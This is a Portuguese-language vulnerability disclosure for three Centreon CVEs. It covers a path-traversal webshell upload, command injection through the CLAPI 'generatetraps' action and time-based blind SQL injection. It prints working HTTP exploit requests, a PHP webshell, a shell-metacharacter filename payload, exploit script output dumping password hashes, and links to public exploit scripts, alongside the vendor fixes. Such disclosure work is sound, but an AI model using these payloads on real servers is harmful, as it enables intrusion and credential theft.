[PT-BR] Deep Looking into Centreon
Escrito por Texugo, Diego Tellaroli
Introdução
Nesta pesquisa, foi identificada três vulnerabilidades críticas no Centreon Web e no módulo Centreon Open Tickets, que permitem desde a extração completa do banco de dados via SQL Injection até a execução remota de comandos no servidor através de uma vulnerabilidade de Path Traversal na funcionalidade de upload de arquivos e uma vulnerabilidade de Command Injection. A exploração exige apenas uma sessão autenticada, sem necessidade de privilégios administrativos, e permite comprometer o ambiente de monitoramento.
As vulnerabilidades foram reportadas ao Centreon, que reconheceu as falhas e publicou correções para todas as versões afetadas, resultando em 3 CVEs: CVE-2026-2749, CVE-2026-2751 e CVE-2026-2750.
Impacto
O Centreon é uma plataforma de monitoramento usada por empresas para acompanhar servidores, redes, aplicações e serviços em tempo real.
Cada uma das três falhas é explorável de forma independente indo desde a extração de credenciais do banco de dados via SQL Injection, passando por execução de comandos via CLAPI, até o upload direto de uma webshell usando Path Traversal, tendo a posse de um usuário válido da aplicação.
De acordo com informações divulgadas no próprio site da Centreon, o software é utilizado por mais de 250 mil usuários em todo o mundo, com mais de 80 empresas adotando a plataforma de forma ativa em seus ambientes.
CVE-2026-2749
A primeira vulnerabilidade identificada foi um Path Traversal no módulo Open Tickets, mais especificamente no endpoint de upload de arquivos. A falha está no parâmetro uniqId, que é recebido direto de $_REQUEST sem nenhuma sanitização e concatenado no caminho de destino do arquivo.
O código vulnerável no arquivo uploadFile.php continha as seguintes linhas:
$uniq_id = $_REQUEST['uniqId']; $file_dst = $dir . '/opentickets/' . $uniq_id . '__' . $file['name']; @mkdir($dir . '/opentickets', 0750); rename($file['tmp_name'], $file_dst);
Como $dir resolve para /tmp, o caminho final do arquivo fica /tmp/opentickets/{uniqId}__{filename}. Se enviarmos uniqId=../../usr/share/centreon/www/rce, o caminho resultante será:
/tmp/opentickets/../../usr/share/centreon/www/rce__cmd.php
Após a normalização, o caminho resultante torna-se /usr/share/centreon/www/rce__cmd.php diretamente dentro do document root do Apache. Desta forma, qualquer usuário autenticado consegue escrever uma webshell PHP no webroot.
O primeiro passo para a exploração da vulnerabilidade é realizar o upload de um arquivo PHP contendo uma webshell, utilizando o path traversal no parâmetro GET uniqId:
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=../../usr/share/centreon/www/rce HTTP/1.1 Cookie: PHPSESSID=<sessão_válida> Content-Type: multipart/form-data; boundary=----x ------x Content-Disposition: form-data; name="file"; filename="cmd.php" Content-Type: application/octet-stream <?php system($_GET['c']); ?> ------x--
A resposta confirma que o upload foi bem-sucedido:
{"code":0,"msg":"ok"}
Desta forma, basta acessar o arquivo de webshell diretamente pela web, sem qualquer tipo de autenticação, que será possível executar comandos no servidor:
GET /centreon/rce__cmd.php?c=id HTTP/1.1
uid=33(www-data) gid=33(www-data) groups=33(www-data),991(centreon-gorgone),992(centreon),993(centreon-engine),994(centreon-broker)
Foi realizada a criação de um script para realizar a exploração da vulnerabilidade de forma automatizada:
https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2749/pathtraversal_rce.py
$ python3 pathtraversal_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
╔════════════════════════════════════════════╗
║ Centreon Path Traversal to RCE (Upload) ║
║ CVE-2026-2749 ║
║ Centreon <= 25.10.6 ║
║ https://hakaisecurity.io ║
╚════════════════════════════════════════════╝
[1] Uploading webshell via path traversal...
Upload successful
[2] Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] RCE CONFIRMED — http://target/centreon/rce__cmd.php?c=COMMAND
Correção
A correção aplicou três mecanismos de proteção. A primeira medida foi a introdução de uma validação do parâmetro uniqId por meio de uma expressão regular, que agora aceita apenas valores hexadecimais com exatamente 13 caracteres:
$uniq_id = $_REQUEST['uniqId'] ?? '';
if (! preg_match('/^[a-f0-9]{13}(\.[0-9]{8})?$/D', $uniq_id)) {
$resultat = ['code' => 1, 'msg' => 'Invalid uniqId format.'];
return;
}
A segunda medida tomada foi a sanitização do nome do arquivo com a função basename(). Além disso, foram realizadas validações adicionais contra caracteres de controle e tamanho excessivo. A terceira medida foi uma verificação com a função realpath() antes de realizar a gravação do arquivo dentro do servidor, garantindo assim que o destino final está dentro do diretório /tmp/opentickets/. Por último, a função rename() foi substituída pela função move_uploaded_file(), que valida internamente se a origem é realmente um upload legítimo.
O arquivo removeFile.php recebeu o mesmo tratamento, com a adição de uma verificação na sessão para autorizar a chamada da função unlink() apenas para arquivos previamente registrados pelo próprio usuário.
CVE-2026-2750
A segunda vulnerabilidade identificada é uma injeção de comandos no sistema operacional através da ação generatetraps do CLAPI. O problema está no método generatetraps() do arquivo centreonManufacturer.class.php, onde o caminho do arquivo MIB fornecido pelo usuário é passado diretamente para a função passthru(), sem qualquer tipo de sanitização. A função passthru() no PHP é utilizada para executar um comando do sistema operacional e enviar diretamente a saída bruta do comando para o output padrão.
Código vulnerável:
public function generatetraps($parameters = null): void
{
$params = explode($this->delim, $parameters);
$mibFile = $params[1];
$tmpMibFile = '/tmp/' . basename($mibFile);
// ...
passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$tmpMibFile} --out={$tmpMibFile}.conf");
passthru("{$centreonDir}/bin/centFillTrapDB -f {$tmpMibFile}.conf -m {$vendorId}");
}
O código usa a função basename(), porém esta função apenas remove componentes de diretório como ../. Metacaracteres de shell como $() não são sanitizados ou excluídos. Deste modo, ao chamar a função passando metacaracteres de shell, há êxito na execução de comados no servidor. Ao chamar: basename("/tmp/opentickets/t__$(id).mib") irá retornar t__$(id).mib e o $(id) será expandido pelo shell quando passado à função passthru().
A exploração acontece em dois passos. Primeiro, é realizado o upload de um arquivo cujo nome contém metacaracteres shell via Open Tickets:
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=t HTTP/1.1 Cookie: PHPSESSID=<session> Content-Type: multipart/form-data; boundary=----x ------x Content-Disposition: form-data; name="file"; filename="$(id).mib" Content-Type: application/octet-stream -- dummy MIB ------x--
Isso cria o arquivo /tmp/opentickets/t__$(id).mib. Depois, enviamos uma requisição com a action generatetraps via CLAPI apontando para esse arquivo:
POST /centreon/api/internal.php?object=centreon_clapi&action=action HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/json
{"action":"generatetraps","object":"VENDOR","values":"Cisco;/tmp/opentickets/t__$(id).mib"}
Quando a função passthru() executa o comando, o shell expande $(id) e o resultado aparece refletido na mensagem de erro do snmpttconvertmib, realizando uma injeção de comandos no servidor.
Para realizar a automatização da vulnerabilidade, foi realizada a criação de um script em python que irá realizar o upload de um arquivo contendo metacaracteres shell e então a chamada deste arquivo pela action generatetraps, resultando na injeção de comandos:
https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2750/cmdi_rce.py
$ python3 cmdi_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
╔════════════════════════════════════════════╗
║ Centreon CMDi via CLAPI generatetraps ║
║ CVE-2026-2750 ║
║ Centreon <= 25.10.6 ║
║ https://hakaisecurity.io ║
╚════════════════════════════════════════════╝
[1] Testing with $(sleep 1)...
3.1s — RCE CONFIRMED
[2] Executing: id
uid=33(www-data)
Correção
Para realizar a correção, o vendor adicionou a função escapeshellarg() em todos os argumentos passados para passthru(), sanitizando o input inserido pelo usuário e mitigando a injeção de comandos:
$escapedMibFile = escapeshellarg($tmpMibFile);
$escapedMibConfFile = escapeshellarg($tmpMibFile . '.conf');
$escapedVendorId = escapeshellarg((string) $vendorId);
passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$escapedMibFile} --out={$escapedMibConfFile}");
passthru("{$centreonDir}/bin/centFillTrapDB -f {$escapedMibConfFile} -m {$escapedVendorId}");
Segundo o manual do php, https://www.php.net/manual/en/function.escapeshellarg.php, a função escapeshellarg() “adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument“. Em outras palavras, ela encapsula a string entre aspas simples e realiza o escape de aspas simples internas, garantindo que o valor seja interpretado pelo shell como um único argumento literal, em vez de permitir que caracteres especiais sejam avaliados pelo interpretador de comandos. Dessa forma, a aplicação dessa função na construção do comando passou a impedir a injeção de argumentos maliciosos, mitigando a vulnerabilidade de command injection identificada.
CVE-2026-2751
A terceira vulnerabilidade identificada foi um blind SQL Injection baseado em tempo, na página de Service Dependencies da aplicação. A injeção acontece nas chaves do array select[] enviado via requisição POST.
A função getSelectOption() retorna diretamente o array $_POST['select']. O código que consome esse valor aplica a função filter_var_array(), que realiza a validação apenas dos valores presentes no array, ignorando completamente suas chaves. Essas chaves são então utilizadas como $key em um loop foreach e concatenadas diretamente em consultas SQL, permitindo que dados controlados pelo usuário sejam inseridos na query sem qualquer validação.
O código vulnerável no arquivo DB-Func.php:
function deleteServiceDependencyInDB($dependencies = [])
{
global $pearDB, $oreon;
foreach ($dependencies as $key => $value) {
$pearDB->query("SELECT dep_name FROM `dependency` WHERE `dep_id` = '" . $key . "' LIMIT 1");
$pearDB->query("DELETE FROM dependency WHERE dep_id = '" . $key . "'");
}
}
A variável $key vem direto das chaves de $_POST['select'], que são controladas pelo usuário na chave do array select[]:
POST /centreon/main.get.php?p=60409 HTTP/1.1 Cookie: PHPSESSID=<session> Content-Type: application/x-www-form-urlencoded o=d¢reon_token=<TOKEN>&select[0' UNION SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END-- ]=1
Se a condição 1=1 for verdadeira, a resposta demora 2 segundos por causa do SLEEP(2). Caso a condição seja falsa, a aplicação retorna imediatamente. Esse comportamento permite a utilização de uma técnica de time-based blind SQL injection, na qual o atacante infere o resultado de expressões lógicas observando apenas o tempo de resposta do servidor. A partir desse mecanismo, é possível extrair informações do banco de dados de forma incremental, testando cada caractere individualmente, até reconstruir completamente valores como nomes de tabelas, colunas ou conteúdos armazenados no banco de dados.
Com o script automatizado abaixo, é possível extrair todos os usernames e hashes bcrypt de senha do Centreon:
https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2751/sqli_dump.py
$ python3 sqli_dump.py --url http://target/centreon --cookie PHPSESSID
╔════════════════════════════════════════════╗
║ Centreon Blind SQLi via Array Keys ║
║ CVE-2026-2751 ║
║ Centreon <= 25.10.6 ║
║ https://hakaisecurity.io ║
╚════════════════════════════════════════════╝
[*] Testing injection...
[+] SQL Injection confirmed
[*] Dumping all users and password hashes...
user: admin
hash: $2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG
=> admin:$2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG
user: centreon-gorgone
hash: $2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
=> centreon-gorgone:$2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
Correção
A correção aplicada substituiu a concatenação direta de SQL por prepared statements com tipo explícito:
function deleteServiceDependencyInDB($dependencies = [])
{
global $pearDB, $oreon;
$selectStatement = $pearDB->prepare(
'SELECT dep_name FROM `dependency` WHERE `dep_id` = :dep_id LIMIT 1'
);
$deleteStatement = $pearDB->prepare(
'DELETE FROM dependency WHERE dep_id = :dep_id'
);
foreach (array_keys($dependencies) as $key) {
$selectStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
$selectStatement->execute();
$row = $selectStatement->fetch();
if ($row === false) { continue; }
$deleteStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
$deleteStatement->execute();
$oreon->CentreonLogAction->insertLog('service dependency', $key, $row['dep_name'], 'd');
}
}
Com prepared statements, o banco trata o valor como dado, não como parte do SQL, mitigando a vulnerabilidade de SQL Injection.
Versões corrigidas
- Centreon Open Tickets 25.10.3, 24.10.8, 24.04.7
- Centreon Web 25.10.8, 24.10.20, 24.04.24
Conclusão
A exploração combinada das três vulnerabilidades identificadas possibilitou, com sucesso, a execução remota de código no servidor e a extração completa do banco de dados da aplicação, incluindo usuários e seus respectivos hashes de senha. De acordo com informações disponibilizadas no próprio site oficial do Centreon, a plataforma possui mais de 250 mil usuários ativos, o que evidencia o elevado potencial de impacto caso essas falhas sejam exploradas em ambientes reais. Como parte desta pesquisa, também foram desenvolvidos três scripts em Python capazes de automatizar o processo de exploração das vulnerabilidades. Os exploits foram disponibilizados publicamente no repositório da Hakai no GitHub:
https://github.com/hakaioffsec/Centreon-Exploits-2026
Como medida de mitigação, recomenda-se a atualização imediata do Centreon e de seus módulos para versões que contenham as correções publicadas pelo fornecedor.
Referências
- https://www.cve.org/cverecord?id=CVE-2026-2749
- https://www.cve.org/cverecord?id=CVE-2026-2750
- https://www.cve.org/cverecord?id=CVE-2026-2751
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2749-centreon-open-tickets-critical-severity-5493
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2750-centreon-web-critical-severity-5503
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2751-centreon-web-high-severity-5504
- https://github.com/hakaioffsec/Centreon-Exploits-2026
